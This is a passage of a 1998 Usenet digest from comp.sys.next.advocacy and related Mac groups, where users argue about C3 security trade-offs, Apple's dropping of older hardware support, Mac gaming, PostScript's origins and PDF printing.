If you need C3 security, it justifies the reduced efficiency of your client.
If you cannot justify the reduced performance of your client, then you need
to re-evaluate your security needs.
If you can't reconcile the two, then you need to decide if the situation
justifies spending money on a faster machine that can do the security while
maintaining a performance level acceptable for the user.
So, basically, your first line ("Nor ..") is incorrect. If I require a
given level of security across the board in my network, I will most certainly
want my clients to take whatever performance hits are necessary for them to
meet the requirements of that secure environment. It is not silly, it is the
requirements of a secure network.
On the otherhand, if I don't need C3 security, I not only don't want my
client to be impacted by C3 requirements, I don't want my server to be
impacted by them either.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: Tue, 16 Jun 1998 07:28:59 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EuMvGC.921@AWT.NL>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net> <edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com> <6lqa8p$m6c$2@news.xmission.com> <Om2g1.34230$BE5.5426783@news.rdc1.nj.home.com> <6lra9i$6mk$1@nnrp1.dejanews.com> <SCOTT.98Jun12085653@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
>In article <6lra9i$6mk$1@nnrp1.dejanews.com>,
> spagiola@my-dejanews.com writes:
> Hmmm... if one bought a standard "internal" CD-ROM drive, could it
> easily be mounted inside the case from the original NeXT CD-ROM
> drive?
>
>Sure, no problem, I took mine apart before moving this winter, just to
>see if it needed any cleaning, and things looked pretty standard in
>there.
Actually, a Toshiba CDR-400t just doesn't fit in the original NeXT CD-ROM
casing (I tried). The Sony CD-ROM that is in there originally has a power
connector that sits in a recess, while the Toshiba sticks farther out. As a
result, the drive was just a couple of mm too deep.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 19:18:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m6gf0$fg$6@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<6m6uf2$o8d$2@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6m6uf2$o8d$2@cronkite.cygnus.com> John Rudd claimed:
> _tuned/configured_ yes. But that does not argue against John's statement.
> You can tune a single given kernel to meet the goals of either extreme, if
> that given system is well implimented.
I'm surprised John, you quoted my message containing items about this that
I think are valid about this point, yet ignore them. Server
> While Solaris is not as "high availability" as a Stratus box, it is still
> used in high end servers.. one kernel binary is quite configurable for a
wide
> range of deployment options.
In some cases, yes. In others it may not be as valid.
> But it is still "the same mach kernel" for any of those 3 cases.
But not in the case of the original message.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 19:17:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m6gbe$fg$5@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com>
Mime-Version: 1.0
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Cc: jrudd@cygnus.com
In <6m6u1h$o8d$1@cronkite.cygnus.com> John Rudd claimed:
> Um, if I have a server that requires C3 security, and I am of reasonable
> competance in my security procedures, a client that is not also C3
complaint
> will not be allowed to connect to my server. Allowing a less secure client
> to attach itself to a more secure server essentially means that the server
is
> now as insecure as the client, because your overall security is typically a
> reflection of your weakest, not your strongest, link.
I think you're missing my point. My point is that a client OS and a server
OS are not the same thing. That was the claim.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Wed, 17 Jun 1998 00:47:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m73nu$7s9$1@nnrp1.dejanews.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com>
In article <slrn6odnt9.ckr.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) wrote:
> Good multitasking is good multitasking. There is no reason why a good server
> can not be a good client and vice versa.
That's not necessarily true. Different scheduling algorithms could be
desirable for different tasks. For example, a good server scheduler might
schedule IO bound processes over CPU bound processes to maximize total system
utilization (like MLFBQ). A good client scheduler, OTOH, might schedule
interactive or foreground processes differently than other processes (like
UTPS). It all depends what your goal is e.g. better resource utilization vs.
better user responsiveness.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Paul Arthur" <parthur@NoSpamop.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 16 Jun 98 20:16:26 -0500
Organization: OpNet -- Greater Philadelphia Internet Service
Message-ID: <B1AC8320-30EEA@209.152.194.60>
References: <6m5048$189$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.op.net/comp.sys.next.advocacy
On Tue, Jun 16, 1998 12:34 AM, quinlan@intergate.bc.ca
<mailto:quinlan@intergate.bc.ca> wrote:
>> Just as a last note, I frequent the MacGamer's Ledge web site, and am
>> regularly encouraged by the good number of game titles that come out for
>> the Mac.
>
>But a lot of revolutionary games do not come out for the Mac or are
>significantly delayed. BattleZone and Total Annihalation come to mind. And
>will C&C II be ported to the Mac?
I would readily agree with what you're saying, and perhaps we'll never see
these ported over. But I had to take some issue with what Maury was
saying, that the Mac gaming world was in a death spiral from which it would
never recover (or something to that effect). I was just trying to point
out that things aren't completely abysmal for Mac gamers, that there are a
good handful of excellent Mac only games that come out every year, and I'm
still gonna end up overspending my games budget this year (bad habit).
Anyway, from what I understand, there are really few games for OpenStep,
which I understand is very popular around here, so why is everybody
complaining? ;-)
Paul Arthur
---------------------------------------------------
This message was created and sent using the Cyberdog Mail System
---------------------------------------------------
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Tue, 16 Jun 1998 18:53:38 -0500
Organization: (none)
Message-ID: <jdoherty-1606981853380001@aus-tx17-17.ix.netcom.com>
References: <6m50gp$l35$1@news.cs.tu-berlin.de> <B1ABE1F3-20687@206.165.43.13>
In article <B1ABE1F3-20687@206.165.43.13>, "Lawson English"
<english@primenet.com> wrote:
| I have heard/read many times that PS itself was inspired by
| QuickDraw.
I have doubts about the reliablity of your sources.
According to the preface to the first edition of the PostScript
Language Reference Manual:
The language had its beginnings in 1976 at the Evans & Sutherland
Computer Corporation, where it was known as the 'Design System.' It
was the outcome of a research project that explored the use of
interactive languages to build complex three-dimensional graphics
data bases. The project was succesful and the language was used in
computer aided dsign implementations.
The major ideas behind the language are due to John Gaffney, who
worked for me at the time.
In 1978 [at PARC]... Martin Newell and I reimplemented the language
and called it 'JaM'... One outcome of the work at PARC was
Interpress, the Xerox printing protocol. Many of the ideas found in
both Interpress and PostScript originated in the Design System and
JaM languages.
When Chuck Geschke and I formed Adobe Systems in 1982, we undertook
a third design and implementation of the language, to which Doug
Brotz, Bill Paxton, and Ed Taft made major contributions. This third
incarnation [is] PostScript.
-- John Warnock, June 1985
Mr. Warnock seems to have given credit where credit is due, but makes
no mention of QuickDraw or Bill Atkinson.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 00:32:59 GMT
Organization: Cygnus Solutions
Message-ID: <6m72rr$8q5$1@cronkite.cygnus.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1AC4CB9-13EA4@206.165.43.4> "Lawson English" wrote:
> Lars Farm <lars.farm@ite.mh.se> said:
>
> >A. J. LaSalle <alasalle@ctron.com> wrote:
> >
> >> Why didn't they wait till the next WWDC to make a big deal
> >> about it (when it would be shipping in 6 months or so)?
> >
> >Because that time is reserved for the next future Mac OS, due in another
> >12-18 months. The one that will require G4's and obsolete all G3's.
>
> They wouldn't DARE pull something like that...
>
>
> ...would they? :-(
>
Well, lets take a look at their track record for the last year and a half..
They've stopped supporting 68k machines (apple and next alike) with new OS
releases (I don't know if macos8 is included, but rhapsody and macos x are
definitely included, and probably macos 9).
They've stopped supporting nubus powermacs for future OS releases.
They've announced that they will soon drop intel support in future OS
releases (after Rhapsody). They've already dropped sparc support.
They've publicly stated that they may be dropping support for pre-G3 machines
for MacOS X.
While you can come up with individual (arguable) reasons for the first 3
cases ("it'd be too slow to run a microkernel OS on 68k machines", "it would
take too many resources to support nuBus, intel, and/or sparc" (a rather lame
attempt at an excuse, if you ask me)), the trend as a whole really only fits
one agenda:
Apple wants to build revenue by gettings its users out of the traditional "I
run my webserver on my 12 year old Mac" type mindset, and into the wintel
mindset of "it's tuesday, better upgrade my PC again".
Some of this is justified by the amount of effort it takes to support the
endless subtle variations in the pre-PCI hardware, and wanting to reduce the
resources necessary for the OS on what hardware it does support by cleaning
house. On the otherhand, this does not really apply to Intel, Sparc, nor
NeXT's 68k machines.
However, n a sense, the robust quality of the Macintosh is a thorn to Apple.
Many of their traditional user base are a lost revenue to Apple precisely
because the machines are quite capable of remaining useful for years to come.
There has been _SOME_ "end of lifetime" movement in Apple in the past, but
not anything near the scope of what happens in the PC world. While it speaks
volumes about the good design of Mac hardware, it also speaks volumes about
how much money is being thrown around in the PC universe.
If my guess is correct, you can bet that Apple will definitely do another
"end of life time" with MacOS 11.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 22:57:26 -0400
Message-ID: <35872ab1.0@news.together.net>
Organization: Together Networks - Burlington, VT.
John Rudd wrote in message <6m72rr$8q5$1@cronkite.cygnus.com>...
>In <B1AC4CB9-13EA4@206.165.43.4> "Lawson English" wrote:
>> Lars Farm <lars.farm@ite.mh.se> said:
>>
>> >A. J. LaSalle <alasalle@ctron.com> wrote:
>> >
<SNIP>
..
>Apple wants to build revenue by gettings its users out of the traditional
"I
>run my webserver on my 12 year old Mac" type mindset, and into the wintel
>mindset of "it's tuesday, better upgrade my PC again".
..
This may very well be a Mac user mindset but it hardly has anything to do
with PCs. The fact of the matter is that Apple simply can't or won't compete
whether it's software *or* hardware. If Apple wants to sell more hardware,
all they need to is.... ready?.... introduce more hardware. The herd will
surely follow. Unfortunately, for Apple, the herd they need to interest
isn't and that's an *Apple* problem.
..
..
>Some of this is justified by the amount of effort it takes to support the
>endless subtle variations in the pre-PCI hardware, and wanting to reduce
the
>resources necessary for the OS on what hardware it does support by cleaning
>house. On the otherhand, this does not really apply to Intel, Sparc, nor
>NeXT's 68k machines.
..
I guess that depends on your point of view. Steve's at the helm now.
..
..
>However, n a sense, the robust quality of the Macintosh is a thorn to
>Apple.
..
It never existed, so it can't be much of a problem.
..
..
>Many of their traditional user base are a lost revenue to Apple >precisely
>because the machines are quite capable of remaining useful for >years to
come.
..
Just a dream, just a dream. If you want to sell something, you need to:
1) Make something worth buying at a given price point.
2) Generate enough interest to make the sale.
..
..
> There has been _SOME_ "end of lifetime" movement in Apple in the past, but
>not anything near the scope of what happens in the PC world.
..
Let's see: Apple II, Apple III, Apple IIIPlus, Apple IIe, Apple IIc, Mac,
Mac 512K, MacPlus, Mac Classic, MacETC.
..
> While it speaks
>volumes about the good design of Mac hardware,
..
There's nothing unusual about the Mac hardware. In fact it's very pedestrian
as computers go.
..
..
> it also speaks volumes about
>how much money is being thrown around in the PC universe.
..
Some of which Apple needs to survive.
..
..
>If my guess is correct, you can bet that Apple will definitely do another
>"end of life time" with MacOS 11.
..
So what's new? People who can afford faster and better computers, buy them.
Those who can't get left behind. This certainly wasn't invented in PC land.
..
..
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:22:49 -0700
Message-ID: <see-below-1606982222500001@dynamic2.pm04.mv.best.com>
References: <6m3hlg$n2m$1@ns3.vrx.net> <B1AB3239-423EA@209.152.194.46> <6m5bos$90c$1@ns3.vrx.net>
In article <6m5bos$90c$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <B1AB3239-423EA@209.152.194.46> "Paul Arthur" claimed:
> > I'm not sure why your arguments seem to focus on "commercial" versus
> > "shareware" games.
>
> Because that's countable. I believe that the problem is just as acute in
> the shareware realm, but no one tracks it. With commercial software we can
> easily look at the games that shipped for the Wintel world, and see if they
> are available on the Mac - and WHEN.
>
> > There are a handful of good "commercial quality" games
> > for the Mac that have recently come out. Nanosaur is a great example.
> > This is a Mac-only "charityware" game that has gotten a good notice from
> > the Wintel world.
>
> I don't belittle shareware, in fact many of the games on the Mac are indeed
> shareware.
>
> > Still, all of the games I listed above are Mac only, excellent quality, and
> > have appeared in the last few months alone.
>
> I'm willing to bet that the numbers are similar in the shareware world as
> well, but I can't prove it.
Yes, you're probalby right. You don't hear about shareware PC games much,
since it's hard enough just to write about the cream of the crop of
commercial games. Since there _aren't_ any commercial Mac-only games
coming out, there's not a whole lot else to talk about.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:19:31 -0700
Message-ID: <see-below-1606982219310001@dynamic2.pm04.mv.best.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m3hlg$n2m$1@ns3.vrx.net>
In article <6m3hlg$n2m$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <cirby-1506981527110001@pm53-28.magicnet.net> Chad Irby claimed:
> > > Atomic, are adbandoning the Mac side (this is the general rule).
> >
> > ...aside from all of the folks who actually *wrote* Mac games, and who saw
> > increases in sales (like MacSoft's 151% increase in sales over the last
> > year).
>
> MacSoft is a unique case, being one of the few that it's possible to ask.
> Asked Lion about how their sales are going? Opps, they went under.
Well, they just made some bad business decisions, it could have happened
on the PC too. Plus they didn't publish anything themselves (they just
worked for MacSoft)--they were pursuing some original development which
never saw the light of day, the Quake port took much longer than
anticipated, and they basically ended up with more money going out than
coming in. But Westlake appears to be doing fine (learned from Lion's
mistakes)
> MacSoft's recent success makes for great press, but doesn't hide the ugly
> truth.
>
> MacSoft gets the rights to super-popular games from the PC and ports them -
> and hats off too them. However their profits are thus tied entirely to the
> number of ports in that year. That means if they get out more ports, they
> get in more money.
Very true.
> Try asking people who write _new_ titles as their main source of income to
> see what THEY think. or better yet, go to ANY big gaming page and look at
> the number of reviews, see how many run on the Mac.
True, but it looks even worse than it really is, since those pages
virtually never mention there's a Mac version even if there is one. If you
only read those pages, you'd think Myth: The Fallen Lords was a
Windows-only title.
> Check out the flight sim side of things for instance. Domark's gone,
> leaving GSC, (if they ever ship) Parsoft and Bullseye. The later three
> started on the Mac, Domark tried for a while and then seems to have given up
> (good, I think their games stank). Falcon started on the Mac and is now long
> gone.
Falcon 4 is coming to the Mac. :)
But you're entirely correct, commercial Mac-only game development has come
to a standstill, and simultaneous releases and ports are also pretty
scarce.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:25:58 -0700
Message-ID: <see-below-1606982225580001@dynamic2.pm04.mv.best.com>
References: <slrn6ob60k.5nf.sal@panix3.panix.com> <B1AB40B9-14887@206.165.43.221>
In article <B1AB40B9-14887@206.165.43.221>, "Lawson English"
<english@primenet.com> wrote:
> Salvatore Denaro <sal@panix3.panix.com> said:
>
> >On 15 Jun 1998 10:33:00 -0700, Lawson English <english@primenet.com>
> >wrote:
> >>And this could be remedied if they created "personality cards" for the 3D
> >>accelerator and other hardware features. If you wanted a faster 3D
> option,
> >>you could take it to the local Mac dealer and have him/her upgrade it for
> a
> >>modest fee.
> >
> >As much as I think 3dFX support for the iMac would be cool, I don't think
> >the iMac target audience wants to add cards to the computer. If they did,
> >they might buy a machine with slots.
> >
> >My brother bought a Playstation for games because he felt that PCs were
> >too
> >much work just for a game. He doesn't want to "install" anything. He wants
>
> >to plop the game in and play. I can't say I blame him.
> >
>
> IT's an upgrade done by the *dealer*, not by the end-user.
Ack, that's even worse. Unplug your computer and lug it back to the store
and pay them to upgrade it?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 05:15:19 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m7jd7$i9k$1@news.cs.tu-berlin.de>
References: <6m50v9$ld8$1@news.cs.tu-berlin.de> <B1ABE24D-21B94@206.165.43.13>
Mime-Version: 1.0
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"Lawson English" <english@primenet.com> writes:
>So, is the core of my point invalid?
Yes.
>Quadratics can be rendered/dealt-with faster than cubics.
Not as far as I can tell.
Marcel
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:31:01 -0700
Message-ID: <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com>
In article <slrn6oc005.8be.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Tue, 16 Jun 1998 03:52:03 GMT, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> >Remember, Jobs is "targeting" the iMac as a *gaming* platform. As a
> >*gaming* platform that cannot be upgraded to decent 3d hardware
> >acceleration, how well do you imagine the iMac will fit *that* target
> >audience?
>
> It's I-Mac, with the I standing for Internet. Not G-Mac. Gaming is secondary
> to it's role.
Okay, this is an interesting theory, but the fact is home computer users
spend more money, and probalby more time, on games than on internet
software. About 50% of home softare purchases are games or edutainment
software, but only a relatively small proportion of people are even
connected to the internet (though that will undoubtedly grow). In
addition, one of the fastest-growing areas of gaming and the internet is
3D gaming against other people on the internet.
> I don't know how well the ATI video compares to other video cards.
> I doubt it is the fastest at either 3d or 2d, but I wouldn't be surprised if
> was "just ok" in both.
The Rage II slated for the iMac is "ok" for 2D, and basically worthless
for 3D. (ie, most 3D games can't use it at all, and you're left running in
software-only). Rage Pro is not bad, at either 2D or 3D (of course this
varies significantly depending on the game).
> BTW, 3d hardware could be added to the DAV port and run at 66mhz and 64bits
> wide, FAIK. Or maybe the DAV port will be used for firewire. Apple hasn't
> said anything. Maybe a PlayStation card?
Which port is this? I don't remember hearing about anything like this
being on the iMac.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 17 Jun 1998 03:17:37 GMT
Organization: Omni Development, Inc.
Message-ID: <6m7cgh$kio$1@gaea.omnigroup.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> I think that Apple should consider releasing the YB development tools for
> free.
This is probably not really a good idea as is. The reality is that most
companies won't bet their development on free tools, if for no other reason
that being free, there is the implication that the vendor (in our case,
Apple) would be much more likely to simply drop the tools leaving you up the
creek. (There's enough of that worry as it is.)
There are variations which may be more viable, but there are always
trade-offs. If you charge super-low prices yet put real effort into tool
development, you have to pay for it somehow. Either by higher hardware costs,
or by putting the cost on the developer. The current situation seems to be
that Apple funds part of its development via its hardware sales, and part via
charges for the developer programs. The current programs seem quite
reasonably priced for most cases. Perhaps in the future Apple can do
something to make it easier for individuals to get hooked, but making the
tools free (at least, the full set of tools) is probably not the solution.
---
andrew_abernathy@omnigroup.com
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 17 Jun 1998 04:15:54 GMT
Organization: MiscKit Development
Message-ID: <6m7ftq$lbs$1@news.xmission.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com> <6m7cgh$kio$1@gaea.omnigroup.com>
andrew_abernathy@omnigroup.com wrote:
> quinlan@intergate.bc.ca wrote:
> > I think that Apple should consider releasing the YB development tools for
> > free.
>
> This is probably not really a good idea as is. The reality is that
> most companies won't bet their development on free tools,
> [...].
How about one free copy of the development tools with a developer program
membership? Need more copies, you pay the regular price, perhaps with a
discount for program members as well as a quantity discount. That lets you
get the tools out there (makes them widespread), the policy helps the small
guy immensely, but it doesn't bring with it all the worries that giving every
copy away for free would generate.
Just a thought...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 04:48:00 GMT
Organization: Indiana University, Bloomington
Message-ID: <6m7hq0$l34$1@flotsam.uits.indiana.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net>
So what does it mean when something is "Osborned"?
--
"Don't just do something, stand there!" - Buddah
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 04:59:02 GMT
Organization: MiscKit Development
Message-ID: <6m7iem$lbs$3@news.xmission.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <6m7hq0$l34$1@flotsam.uits.indiana.edu>
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> So what does it mean when something is "Osborned"?
It is really that hard to go back to the post that kicked off this thread and
read the article at the given URL? The first two paragraphs will answer your
question. I've appended them below for your convenience.
The situation with Rhapsody is actually slightly different, but could
potentially have a similar outcome. In this case, the self-fulfilling
prophecy of "nobody is buying the Intel version, hence it is worth killing".
They've irreparably killed it before it had a chance to prove itself.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
http://macopinion.com/editorials/rhaposb.html
Rhapsody! Oh no! They've Osborned Rhapsody!
June 9 1998
by John Martellaro
Contributing Reader
Once upon a time there was a computer company founded by Adam Osborne. As I
recall, Mr. Osborne was a computer technology educator who decided he could
run a computer company. The Osborne I was, I think, the first true "luggable"
computer. About the size of a small suitcase, the top unfolded to reveal the
keyboard. In the middle of the cardboard main section was a 4 inch B&W CRT
and two 5 1/4 inch floppies. It had, perhaps 32 kilobytes of RAM and ran
CP/M. This was about 1980.
Then the Osborne Computer company decided it was time to do a newer, better
model and announced it to everyone to fan the fervor. The problem was, the
company wasn't ready to ship the Osborne II. Like the Dilbert cartoon, which
is probably based on this incident through apochrypha, the announcement
single handedly destroyed the company. Everyone waited for the Osborne II,
and the cash flow dried up. The Osborne Computer company filed for bankruptcy
shortly thereafter.
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 17 Jun 1998 00:45:23 -0400
Organization: BM
Message-ID: <6m7hd9$549$1@argentina.it.earthlink.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
<B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com>
<6m2nh8$irr$3@bolivia.it.earthlink.net> <3585477a.0@news.depaul.edu>
<6m45j1$nun$1@suriname.it.earthlink.net> <6m620a$d9i$2@news.spacelab.net>
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"Charles W. Swiger" <chuck@codefab.com> wrote:
>> Wishful thinking, but $2M is ALL the *profit* the entire WebObjects
>> operation had.
>
>References?
Apple WO people in a public seminar on WO -- to underline that WO was a profit
center, not likely to be dropped and could spin off, if need be.
Ziya
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Tue, 16 Jun 1998 20:01:12 -0500
Organization: (none)
Message-ID: <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com>
In article <j-jahnke-1506982306430001@dapple.tormenta.com>,
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
| Hey John,
|
| My gripe with PDF has been that Acrobat Reader can't print the way
| I need to print.
Howdy Jerry,
Basically, Reader relies on the print services provided by the host OS.
So your gripe is more with whoever wrote your print driver: certainly
this problem is unrelated to the PDF file format, which is specifically
designed to allow for page-independent processing.
| The GX portable documents could indeed print even and odd pages.
With what print driver? Does that same driver support that feature for
all apps? If so, Reader should be able to make use of it. Or was it
some app that allowed that?
| It has been YEARS now and I still can't do that with Acrobat files unless
| I export them to PS and massage them with MPW (thanks for that script
| BTW.)
I know where to get the real psutils as MPW tools now, at last: they're
included in the ($35 shareware) CMacTeX package. They work fine.
| The least Adobe could do is make it useable. It seems that since PDF
| is postscript and since Adobe should know postscript and since my printer
| is postscript that something this trivial should be... well... trivial.
I agree, printing only even or odd pages is a perfectly obvious feature
for a print driver to have. I do not know why neither Apple or Adobe has
bothered to produce a PS driver with that feature. I mean, gee whiz,
they let us print 16-up, but we can't print only the even or odd pages,
or discontinuous ranges of pages (e.g., "2-7, 12, 17-20")?
Who knows what evil lurks in the hearts of men? Who knows why print
driver writers ignore such obvious features? The Shadow might, but
I don't.
If Adobe wants their mac and windows users to have this ability, then I
think they should either write it into their print drivers or offer it
as a free plug-in for Reader. Putting it into the driver would be better,
since that would give all apps this ability.
There are plug-ins that allow this, and maybe there's even a free one
somewhere. I don't know.
As for building this feature into Reader specifically, well, I'm not so
sure that would be time well-spent. As for defining PDF so as to make it
amenable to this kind of processing, that was done from the start.
Best regards.
-- John
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Tue, 16 Jun 1998 20:25:38 -0500
Organization: (none)
Message-ID: <jdoherty-1606982025390001@aus-tx17-17.ix.netcom.com>
